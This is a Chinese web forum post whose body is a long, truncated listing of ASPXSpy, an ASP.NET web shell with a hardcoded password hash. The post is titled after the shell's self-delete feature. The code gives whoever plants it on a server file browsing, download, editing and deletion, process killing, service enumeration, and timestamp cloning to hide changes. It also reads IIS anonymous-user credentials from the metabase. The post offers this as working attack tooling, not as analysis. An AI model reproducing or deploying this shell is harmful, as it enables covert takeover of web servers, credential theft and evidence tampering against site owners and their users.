设为首页收藏本站
切换到宽版

 找回密码
 立即注册

QQ登录

只需一步，快速开始

搜索
热搜: 活动 交友 discuz
站长网»论坛 › 程序使用与交流 › 小蚂蚁 › 如何自杀？
返回列表 发新帖
查看: 3538|回复: 0

如何自杀？

[复制链接]
admin
发表于 2014-11-17 20:52:37 | 显示全部楼层 |阅读模式
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.Diagnostics"%>
  4. <%@ import Namespace="System.Data"%>
  5. <%@ import Namespace="System.Management"%>
  6. <%@ import Namespace="System.Data.OleDb"%>
  7. <%@ import Namespace="Microsoft.Win32"%>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ import Namespace="System.Net" %>
  10. <%@ import Namespace="System.Runtime.InteropServices"%>
  11. <%@ import Namespace="System.DirectoryServices"%>
  12. <%@ import Namespace="System.ServiceProcess"%>
  13. <%@ import Namespace="System.Text.RegularExpressions"%>
  14. <%@ Import Namespace="System.Threading"%>
  15. <%@ Import Namespace="System.Data.SqlClient"%>
  16. <%@ import Namespace="Microsoft.VisualBasic"%>
  17. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  18. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  19. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  20. <%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
  21. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  22. <script runat="server">
  23. public string Password="21232f297a57a5a743894a0e4a801fc3";//admin
  24. public string vbhLn="ASPXSpy";
  25. public int TdgGU=1;
  26. protected OleDbConnection Dtdr=new OleDbConnection();
  27. protected OleDbCommand Kkvb=new OleDbCommand();
  28. public NetworkStream NS=null;
  29. public NetworkStream NS1=null;
  30. TcpClient tcp=new TcpClient();
  31. TcpClient zvxm=new TcpClient();
  32. ArrayList IVc=new ArrayList();
  33. protected void Page_load(object sender,EventArgs e)
  34. {
  35. YFcNP(this);
  36. fhAEn();
  37. if (!pdo())
  38. {
  39. return;
  40. }
  41. if(IsPostBack)
  42. {
  43. string tkI=Request["__EVENTTARGET"];
  44. string VqV=Request["__File"];
  45. if(tkI!="")
  46. {
  47. switch(tkI)
  48. {
  49. case "Bin_Parent":
  50. krIR(Ebgw(VqV));
  51. break;
  52. case "Bin_Listdir":
  53. krIR(Ebgw(VqV));
  54. break;
  55. case "kRXgt":
  56. kRXgt(Ebgw(VqV));
  57. break;
  58. case "Bin_Createfile":
  59. gLKc(VqV);
  60. break;
  61. case "Bin_Editfile":
  62. gLKc(VqV);
  63. break;
  64. case "Bin_Createdir":
  65. stNPw(VqV);
  66. break;
  67. case "cYAl":
  68. cYAl(VqV);
  69. break;
  70. case "ksGR":
  71. ksGR(Ebgw(VqV));
  72. break;
  73. case "SJv":
  74. SJv(VqV);
  75. break;
  76. case "Bin_Regread":
  77. tpRQ(Ebgw(VqV));
  78. break;
  79. case "hae":
  80. hae();
  81. break;
  82. case "urJG":
  83. urJG(VqV);
  84. break;
  85. }
  86. if(tkI.StartsWith("dAJTD"))
  87. {
  88. dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
  89. }
  90. else if(tkI.StartsWith("Tlvz"))
  91. {
  92. Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
  93. }
  94. else if(tkI.StartsWith("Bin_CFile"))
  95. {
  96. YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
  97. }
  98. }
  99. }
  100. else
  101. {
  102. PBZw();
  103. }
  104. }
  105. public bool pdo()
  106. {
  107. if(Request.Cookies[vbhLn]==null)
  108. {
  109. tZSx();
  110. return false;
  111. }
  112. else
  113. {
  114. if (Request.Cookies[vbhLn].Value != Password)
  115. {
  116. tZSx();
  117. return false;
  118. }
  119. else
  120. {
  121. return true;
  122. }
  123. }
  124. }
  125. public void tZSx()
  126. {
  127. ljtzC.Visible=true;
  128. ZVS.Visible=false;
  129. }
  130. protected void YKpI(object sender,EventArgs e)
  131. {
  132. Session.Abandon();
  133. Response.Cookies.Add(new HttpCookie(vbhLn,null));
  134. tZSx();
  135. }
  136. public void PBZw()
  137. {
  138. ZVS.Visible=true;
  139. ljtzC.Visible=false;
  140. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  141. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  142. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('确定要自杀?')){Bin_PostBack('hae','');};";
  143. Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
  144. Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
  145. if (AXSbb.Value==string.Empty)
  146. {
  147. AXSbb.Value=OElM(Server.MapPath("."));
  148. }
  149. Bin_H2_Title.InnerText="文件(夹)管理 >>";
  150. krIR(AXSbb.Value);
  151. }
  152. public void fhAEn()
  153. {
  154. try
  155. {
  156. string[] YRgt=Directory.GetLogicalDrives();
  157. for(int i=0;i<YRgt.Length;i++)
  158. {
  159. Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID="Bin_Button_Driv"+i+"" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
  160. Bin_Span_Drv.Controls.Add(c);
  161. LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
  162. nxeDR.Command+=new CommandEventHandler(this.iVk);
  163. }
  164. }catch(Exception ex){}
  165. }
  166. public string OElM(string path)
  167. {
  168. if(path.Substring(path.Length-1,1)!=@"")
  169. {
  170. path=path+@"";
  171. }
  172. return path;
  173. }
  174. public string nrrx(string path)
  175. {
  176. char[] trim={'\\'};
  177. if(path.Substring(path.Length-1,1)==@"")
  178. {
  179. path=path.TrimEnd(trim);
  180. }
  181. return path;
  182. }
  183. [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
  184. public static extern int OMZP(string nDrive);
  185. public string mFvj(string instr)
  186. {
  187. string EuXD=string.Empty;
  188. int num=OMZP(instr);
  189. switch(num)
  190. {
  191. case 1:
  192. EuXD="Unknow("+instr+")";
  193. break;
  194. case 2:
  195. EuXD="Removable("+instr+")";
  196. break;
  197. case 3:
  198. EuXD="磁盘("+instr+")";
  199. break;
  200. case 4:
  201. EuXD="Network("+instr+")";
  202. break;
  203. case 5:
  204. EuXD="CDRom("+instr+")";
  205. break;
  206. case 6:
  207. EuXD="RAM Disk("+instr+")";
  208. break;
  209. }
  210. return EuXD.Replace(@"","");
  211. }
  212. public string MVVJ(string instr)
  213. {
  214. byte[] tmp=Encoding.Default.GetBytes(instr);
  215. return Convert.ToBase64String(tmp);
  216. }
  217. public string Ebgw(string instr)
  218. {
  219. byte[] tmp=Convert.FromBase64String(instr);
  220. return Encoding.Default.GetString(tmp);
  221. }
  222. public void krIR(string path)
  223. {
  224. WICxe();
  225. CzfO.Visible=true;
  226. Bin_H2_Title.InnerText="文件(夹)管理 >>";
  227. AXSbb.Value=OElM(path);
  228. DirectoryInfo GQMM=new DirectoryInfo(path);
  229. if(Directory.GetParent(nrrx(path))!=null)
  230. {
  231. string bg=OKM();
  232. TableRow p=new TableRow();
  233. for(int i=1;i<6;i++)
  234. {
  235. TableCell pc=new TableCell();
  236. if(i==1)
  237. {
  238. pc.Width=Unit.Parse("2%");
  239. pc.Text="<font face='wingdings' size='4'>0</font>";
  240. p.CssClass=bg;
  241. }
  242. if(i==2)
  243. {
  244. pc.Text="<a href="javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')">Parent Directory</a>";
  245. }
  246. p.Cells.Add(pc);
  247. UGzP.Rows.Add(p);
  248. }
  249. }
  250. try
  251. {
  252. int vLlH=0;
  253. foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
  254. {
  255. string bg=OKM();
  256. vLlH++;
  257. TableRow tr=new TableRow();
  258. TableCell tc=new TableCell();
  259. tc.Width=Unit.Parse("2%");
  260. tc.Text="<font face='wingdings' size='4'>0</font>";
  261. tr.Attributes["onmouseover"]="this.className='focus';";
  262. tr.CssClass=bg;
  263. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  264. tr.Cells.Add(tc);
  265. TableCell HczyN=new TableCell();
  266. HczyN.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')">"+Bin_folder.Name+"</a>";
  267. tr.Cells.Add(HczyN);
  268. TableCell LYZK=new TableCell();
  269. LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  270. tr.Cells.Add(LYZK);
  271. UGzP.Rows.Add(tr);
  272. TableCell ERUL=new TableCell();
  273. ERUL.Text="--";
  274. tr.Cells.Add(ERUL);
  275. UGzP.Rows.Add(tr);
  276. TableCell ZGKh=new TableCell();
  277. ZGKh.Text="<a href="javascript:if(confirm('确定要删除此文件(夹) ?')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};">删除</a> | <a href='#' onclick="var filename=prompt('请输入文件夹名称:','"+AXSbb.Value.Replace(@"",@"\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} ">重命名</a>";
  278. tr.Cells.Add(ZGKh);
  279. UGzP.Rows.Add(tr);
  280. }
  281. TableRow cKVA=new TableRow();
  282. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  283. cKVA.Attributes["bgcolor"]="#dddddd";
  284. TableCell JlmW=new TableCell();
  285. JlmW.Attributes["colspan"]="6" ;
  286. JlmW.Attributes["height"]="5";
  287. cKVA.Cells.Add(JlmW);
  288. UGzP.Rows.Add(cKVA);
  289. int aYRwo=0;
  290. foreach(FileInfo Bin_Files in GQMM.GetFiles())
  291. {
  292. aYRwo++;
  293. string gb=OKM();
  294. TableRow tr=new TableRow();
  295. TableCell tc=new TableCell();
  296. tc.Width=Unit.Parse("2%");
  297. tc.Text="<input type="checkbox" value="0" name=""+MVVJ(Bin_Files.Name)+"">";
  298. tr.Attributes["onmouseover"]="this.className='focus';";
  299. tr.CssClass=gb;
  300. tr.Attributes["onmouseout"]="this.className='"+gb+"';";
  301. tr.Cells.Add(tc);
  302. TableCell filename=new TableCell();
  303. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  304. {
  305. string url=Request.Url.ToString();
  306. filename.Text="<a href=""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\","/")+"" target="_blank">"+Bin_Files.Name+"</a>";
  307. }
  308. else
  309. {
  310. filename.Text=Bin_Files.Name;
  311. }
  312. TableCell albt=new TableCell();
  313. albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  314. TableCell YzK=new TableCell();
  315. YzK.Text=mTG(Bin_Files.Length);
  316. TableCell GLpi=new TableCell();
  317. GLpi.Text="<a href="#" onclick="Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')">下载</a> | <a href='#' onclick="var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"",@"\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} ">复制</a> | <a href="#" onclick="Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')">编辑</a> | <a href='#' onclick="var filename=prompt('请输入新的文件名:','"+AXSbb.Value.Replace(@"",@"\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} ">重命名</a> | <a href="#" onclick="Bin_PostBack('cYAl','"+Bin_Files.Name+"')">修改文件属性</a> ";
  318. tr.Cells.Add(filename);
  319. tr.Cells.Add(albt);
  320. tr.Cells.Add(YzK);
  321. tr.Cells.Add(GLpi);
  322. UGzP.Rows.Add(tr);
  323. }
  324. string lgb=OKM();
  325. TableRow oWam=new TableRow();
  326. oWam.CssClass=lgb;
  327. for(int i=1;i<4;i++)
  328. {
  329. TableCell lGV=new TableCell();
  330. if(i==1)
  331. {
  332. lGV.Text="<input name="chkall" value="on" type="checkbox" onclick="var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}"/>";
  333. }
  334. if(i==2)
  335. {
  336. lGV.Text="<a href="#" Onclick="var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}">Delete selected</a>";
  337. }
  338. if(i==3)
  339. {
  340. lGV.ColumnSpan=4;
  341. lGV.Style.Add("text-align","right");
  342. lGV.Text=vLlH+" 文件夹/ "+aYRwo+" 文件";
  343. }
  344. oWam.Cells.Add(lGV);
  345. }
  346. UGzP.Rows.Add(oWam);
  347. }
  348. catch(Exception error)
  349. {
  350. xseuB(error.Message);
  351. }
  352. }
  353. public string OKM()
  354. {
  355. TdgGU++;
  356. if(TdgGU % 2==0)
  357. {
  358. return "alt1";
  359. }
  360. else
  361. {
  362. return "alt2";
  363. }
  364. }
  365. public void kRXgt(string qcKu)
  366. {
  367. try
  368. {
  369. Directory.Delete(qcKu,true);
  370. xseuB("Directory delete new success !");
  371. }
  372. catch(Exception error)
  373. {
  374. xseuB(error.Message);
  375. }
  376. krIR(Directory.GetParent(qcKu).ToString());
  377. }
  378. public void dAJTD(string sdir,string ddir)
  379. {
  380. try
  381. {
  382. Directory.Move(sdir,ddir);
  383. xseuB("Directory Renamed Success !");
  384. }
  385. catch(Exception error)
  386. {
  387. xseuB(error.Message);
  388. }
  389. krIR(AXSbb.Value);
  390. }
  391. public void Tlvz(string sfile,string dfile)
  392. {
  393. try
  394. {
  395. File.Move(sfile,dfile);
  396. xseuB("File Renamed Success !");
  397. }
  398. catch(Exception error)
  399. {
  400. xseuB(error.Message);
  401. }
  402. krIR(AXSbb.Value);
  403. }
  404. public void YByN(string spath,string dpath)
  405. {
  406. try
  407. {
  408. File.Copy(spath,dpath);
  409. xseuB("File Copy Success !");
  410. }
  411. catch(Exception error)
  412. {
  413. xseuB(error.Message);
  414. }
  415. krIR(AXSbb.Value);
  416. }
  417. public void stNPw(string path)
  418. {
  419. try
  420. {
  421. Directory.CreateDirectory(AXSbb.Value+path);
  422. xseuB("Directory created success !");
  423. }
  424. catch(Exception error)
  425. {
  426. xseuB(error.Message);
  427. }
  428. krIR(AXSbb.Value);
  429. }
  430. public void gLKc(string path)
  431. {
  432. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  433. {
  434. foreach(ListItem item in NdCX.Items)
  435. {
  436. if(item.Selected=true)
  437. {
  438. item.Selected=false;
  439. }
  440. }
  441. }
  442. Bin_H2_Title.InnerHtml="创建/编辑文件 >>";
  443. WICxe();
  444. vrFA.Visible=true;
  445. if(path.IndexOf(":")< 0)
  446. {
  447. Sqon.Value=AXSbb.Value+path;
  448. }
  449. else
  450. {
  451. Sqon.Value=path;
  452. }
  453. if(File.Exists(Sqon.Value))
  454. {
  455. StreamReader sr;
  456. if(NdCX.SelectedItem.Text=="UTF-8")
  457. {
  458. sr=new StreamReader(Sqon.Value,Encoding.UTF8);
  459. }
  460. else
  461. {
  462. sr=new StreamReader(Sqon.Value,Encoding.Default);
  463. }
  464. Xgvv.InnerText=sr.ReadToEnd();
  465. sr.Close();
  466. }
  467. else
  468. {
  469. Xgvv.InnerText=string.Empty;
  470. }
  471. }
  472. public void ksGR(string path)
  473. {
  474. FileInfo fs=new FileInfo(path);
  475. Response.Clear();
  476. Page.Response.ClearHeaders();
  477. Page.Response.Buffer=false;
  478. this.EnableViewState=false;
  479. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
  480. Response.AddHeader("Content-Length",fs.Length.ToString());
  481. Page.Response.ContentType="application/unknown";
  482. Response.WriteFile(fs.FullName);
  483. Page.Response.Flush();
  484. Page.Response.Close();
  485. Response.End();
  486. Page.Response.Clear();
  487. }
  488. public void SJv(string path)
  489. {
  490. try
  491. {
  492. string[] spdT=path.Split(',');
  493. for(int i=0;i<spdT.Length-1;i++)
  494. {
  495. File.Delete(AXSbb.Value+Ebgw(spdT[i]));
  496. }
  497. xseuB("File Delete Success !");
  498. }
  499. catch(Exception error)
  500. {
  501. xseuB(error.Message);
  502. }
  503. krIR(AXSbb.Value);
  504. }
  505. public void hae()
  506. {
  507. try
  508. {
  509. File.Delete(Request.PhysicalPath);

  511. }
  512. catch(Exception error)
  513. {
  514. xseuB(error.Message);
  515. }
  516. }
  517. public void cYAl(string path)
  518. {
  519. Bin_H2_Title.InnerHtml="克隆文件的最后修改时间 >>";
  520. WICxe();
  521. zRyG.Visible=true;
  522. QiFB.Value=AXSbb.Value+path;
  523. lICp.Value=AXSbb.Value;
  524. pWVL.Value=AXSbb.Value+path;
  525. string Att=File.GetAttributes(QiFB.Value).ToString();
  526. if(Att.LastIndexOf("ReadOnly")!=-1)
  527. {
  528. ZhWSK.Checked=true;
  529. }
  530. if(Att.LastIndexOf("System")!=-1)
  531. {
  532. SsR.Checked=true;
  533. }
  534. if(Att.LastIndexOf("Hidden")!=-1)
  535. {
  536. ccB.Checked=true;
  537. }
  538. if(Att.LastIndexOf("Archive")!=-1)
  539. {
  540. fbyZ.Checked=true;
  541. }
  542. yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
  543. uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
  544. aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
  545. }
  546. public static String mTG(Int64 fileSize)
  547. {
  548. if(fileSize<0)
  549. {
  550. throw new ArgumentOutOfRangeException("fileSize");
  551. }
  552. else if(fileSize >= 1024 * 1024 * 1024)
  553. {
  554. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  555. }
  556. else if(fileSize >= 1024 * 1024)
  557. {
  558. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  559. }
  560. else if(fileSize >= 1024)
  561. {
  562. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  563. }
  564. else
  565. {
  566. return string.Format("{0} B",fileSize);
  567. }
  568. }
  569. private bool SGde(string sSrc)
  570. {
  571. Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
  572. if(reg.IsMatch(sSrc))
  573. {
  574. return true;
  575. }
  576. else
  577. {
  578. return false;
  579. }
  580. }
  581. public void AdCx()
  582. {
  583. string qcKu=string.Empty;
  584. string mWGEm="IIS://localhost/W3SVC";
  585. GlI.Style.Add("word-break","break-all");
  586. try
  587. {
  588. DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
  589. int fmW=0;
  590. foreach(DirectoryEntry child in HHzcY.Children)
  591. {
  592. if(SGde(child.Name.ToString()))
  593. {
  594. fmW++;
  595. DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
  596. DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
  597. string bg=OKM();
  598. TableRow TR=new TableRow();
  599. TR.Attributes["onmouseover"]="this.className='focus';";
  600. TR.CssClass=bg;
  601. TR.Attributes["onmouseout"]="this.className='"+bg+"';";
  602. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  603. for(int i=1;i<6;i++)
  604. {
  605. try
  606. {
  607. TableCell tfit=new TableCell();
  608. switch(i)
  609. {case 1:
  610. tfit.Text=fmW.ToString();
  611. break;
  612. case 2:
  613. tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
  614. break;
  615. case 3:
  616. tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
  617. break;
  618. case 4:
  619. StringBuilder sb=new StringBuilder();
  620. PropertyValueCollection pc=child.Properties["ServerBindings"];
  621. for (int j=0; j < pc.Count; j++)
  622. {
  623. sb.Append(pc[j].ToString()+"<br>");
  624. }
  625. tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  626. break;
  627. case 5:
  628. tfit.Text="<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
  629. break;
  630. }
  631. TR.Cells.Add(tfit);
  632. }
  633. catch (Exception ex)
  634. {
  635. xseuB(ex.Message);
  636. continue;
  637. }
  638. }
  639. GlI.Controls.Add(TR);
  640. }
  641. }
  642. }
  643. catch(Exception ex)
  644. {
  645. xseuB(ex.Message);
  646. }
  647. }
  648. public ManagementObjectCollection PhQTd(string query)
  649. {
  650. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  651. return QS.Get();
  652. }
  653. public DataTable cCf(string query)
  654. {
  655. DataTable dt=new DataTable();
  656. int i=0;
  657. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  658. try
  659. {
  660. foreach(ManagementObject m in QS.Get())
  661. {
  662. DataRow dr=dt.NewRow();
  663. PropertyDataCollection.PropertyDataEnumerator oEnum;
  664. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  665. while(oEnum.MoveNext())
  666. {
  667. PropertyData DRU=(PropertyData)oEnum.Current;
  668. if(dt.Columns.IndexOf(DRU.Name)==-1)
  669. {
  670. dt.Columns.Add(DRU.Name);
  671. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  672. }
  673. if(m[DRU.Name]!=null)
  674. {
  675. dr[DRU.Name]=m[DRU.Name].ToString();
  676. }
  677. else
  678. {
  679. dr[DRU.Name]=string.Empty;
  680. }
  681. }
  682. dt.Rows.Add(dr);
  683. }
  684. }
  685. catch(Exception error)
  686. {
  687. }
  688. return dt;
  689. }
  690. public void YUw()
  691. {
  692. try
  693. {
  694. Bin_H2_Title.InnerText="系统进程 >>";
  695. WICxe();
  696. DCbS.Visible=true;
  697. int UEbTI=0;
  698. Process[] p=Process.GetProcesses();
  699. foreach(Process sp in p)
  700. {
  701. UEbTI++;
  702. string bg=OKM();
  703. TableRow tr=new TableRow();
  704. tr.Attributes["onmouseover"]="this.className='focus';";
  705. tr.CssClass=bg;
  706. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  707. for(int i=1;i<7;i++)
  708. {
  709. TableCell td=new TableCell();
  710. if(i==1)
  711. {
  712. td.Width=Unit.Parse("2%");
  713. td.Text=UEbTI.ToString();
  714. tr.Controls.Add(td);
  715. }
  716. if(i==2)
  717. {
  718. td.Text=sp.Id.ToString();
  719. tr.Controls.Add(td);
  720. }
  721. if(i==3)
  722. {
  723. td.Text=sp.ProcessName.ToString();
  724. tr.Controls.Add(td);
  725. }
  726. if(i==4)
  727. {
  728. td.Text=sp.Threads.Count.ToString();
  729. tr.Controls.Add(td);
  730. }
  731. if(i==5)
  732. {
  733. td.Text=sp.BasePriority.ToString();
  734. tr.Controls.Add(td);
  735. }
  736. if(i==6)
  737. {
  738. td.Text="--";
  739. tr.Controls.Add(td);
  740. }
  741. }
  742. IjsL.Controls.Add(tr);
  743. }
  744. }
  745. catch(Exception error)
  746. {
  747. AIz();
  748. }
  749. AIz();
  750. }
  751. public void AIz()
  752. {
  753. try
  754. {
  755. Bin_H2_Title.InnerText="系统进程 >>";
  756. WICxe();
  757. DCbS.Visible=true;
  758. int UEbTI=0;
  759. DataTable dt=cCf("Win32_Process");
  760. for(int j=0;j<dt.Rows.Count;j++)
  761. {
  762. UEbTI++;
  763. string bg=OKM();
  764. TableRow tr=new TableRow();
  765. tr.Attributes["onmouseover"]="this.className='focus';";
  766. tr.CssClass=bg;
  767. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  768. for(int i=1;i<7;i++)
  769. {
  770. TableCell td=new TableCell();
  771. if(i==1)
  772. {
  773. td.Width=Unit.Parse("2%");
  774. td.Text=UEbTI.ToString();
  775. tr.Controls.Add(td);
  776. }
  777. if(i==2)
  778. {
  779. td.Text=dt.Rows[j]["ProcessID"].ToString();
  780. tr.Controls.Add(td);
  781. }
  782. if(i==3)
  783. {
  784. td.Text=dt.Rows[j]["Name"].ToString();
  785. tr.Controls.Add(td);
  786. }
  787. if(i==4)
  788. {
  789. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  790. tr.Controls.Add(td);
  791. }
  792. if(i==5)
  793. {
  794. td.Text=dt.Rows[j]["Priority"].ToString();
  795. tr.Controls.Add(td);
  796. }
  797. if(i==6)
  798. {
  799. if( dt.Rows[j]["CommandLine"]!=string.Empty)
  800. {
  801. td.Text="<a href="javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')">Kill</a>";
  802. }
  803. else
  804. {
  805. td.Text="--";
  806. }
  807. tr.Controls.Add(td);
  808. }
  809. }
  810. IjsL.Controls.Add(tr);
  811. }
  812. }
  813. catch(Exception error)
  814. {
  815. xseuB(error.Message);
  816. }
  817. }
  818. public void urJG(string pid)
  819. {
  820. try
  821. {
  822. foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  823. {
  824. p.InvokeMethod("Terminate",null);
  825. p.Dispose();
  826. }
  827. xseuB("Process Kill Success !");
  828. }
  829. catch(Exception error)
  830. {
  831. xseuB(error.Message);
  832. }
  833. AIz();
  834. }
  835. public void oHpF()
  836. {
  837. try
  838. {
  839. Bin_H2_Title.InnerText="系统服务 >>";
  840. WICxe();
  841. iQxm.Visible=true;
  842. int UEbTI=0;
  843. ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
  844. for(int i=0;i<kQmRu.Length;i++)
  845. {
  846. UEbTI++;
  847. string bg=OKM();
  848. TableRow tr=new TableRow();
  849. tr.Attributes["onmouseover"]="this.className='focus';";
  850. tr.CssClass=bg;
  851. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  852. for(int b=1;b<7;b++)
  853. {
  854. TableCell td=new TableCell();
  855. if(b==1)
  856. {
  857. td.Width=Unit.Parse("2%");
  858. td.Text=UEbTI.ToString();
  859. tr.Controls.Add(td);
  860. }
  861. if(b==2)
  862. {
  863. td.Text="null";
  864. tr.Controls.Add(td);
  865. }
  866. if(b==3)
  867. {
  868. td.Text=kQmRu[i].ServiceName.ToString();
  869. tr.Controls.Add(td);
  870. }
  871. if(b==4)
  872. {
  873. td.Text="";
  874. tr.Controls.Add(td);
  875. }
  876. if(b==5)
  877. {
  878. string kOIo=kQmRu[i].Status.ToString();
  879. if(kOIo=="Running")
  880. {
  881. td.Text="<font color=green>"+kOIo+"</font>";
  882. }
  883. else
  884. {
  885. td.Text="<font color=red>"+kOIo+"</font>";
  886. }
  887. tr.Controls.Add(td);
  888. }
  889. if(b==6)
  890. {
  891. td.Text="";
  892. tr.Controls.Add(td);
  893. }
  894. }
  895. vHCs.Controls.Add(tr);
  896. }
  897. }
  898. catch(Exception error)
  899. {
  900. xseuB(error.Message);
  901. }
  902. }
  903. public void tZRH()
  904. {
  905. try
  906. {
  907. Bin_H2_Title.InnerText="系统服务 >>";
  908. WICxe();
  909. iQxm.Visible=true;
  910. int UEbTI=0;
  911. DataTable dt=cCf("Win32_Service");
  912. for(int j=0;j<dt.Rows.Count;j++)
  913. {
  914. UEbTI++;
  915. string bg=OKM();
  916. TableRow tr=new TableRow();
  917. tr.Attributes["onmouseover"]="this.className='focus';";
  918. tr.CssClass=bg;
  919. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  920. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  921. for(int i=1;i<7;i++)
  922. {
  923. TableCell td=new TableCell();
  924. if(i==1)
  925. {
  926. td.Width=Unit.Parse("2%");
  927. td.Text=UEbTI.ToString();
  928. tr.Controls.Add(td);
  929. }
  930. if(i==2)
  931. {
  932. td.Text=dt.Rows[j]["ProcessID"].ToString();
  933. tr.Controls.Add(td);
  934. }
  935. if(i==3)
  936. {
  937. td.Text=dt.Rows[j]["Name"].ToString();
  938. tr.Controls.Add(td);
  939. }
  940. if(i==4)
  941. {
  942. td.Text=dt.Rows[j]["PathName"].ToString();
  943. tr.Controls.Add(td);
  944. }
  945. if(i==5)
  946. {
  947. string kOIo=dt.Rows[j]["State"].ToString();
  948. if(kOIo=="Running")
  949. {
  950. td.Text="<font color=green>"+kOIo+"</font>";
  951. }
  952. else
  953. {
  954. td.Text="<font color=red>"+kOIo+"</font>";
  955. }
  956. tr.Controls.Add(td);
  957. }
  958. if(i==6)
  959. {
  960. td.Text=dt.Rows[j]["StartMode"].ToString();
  961. tr.Controls.Add(td);
  962. }
  963. }
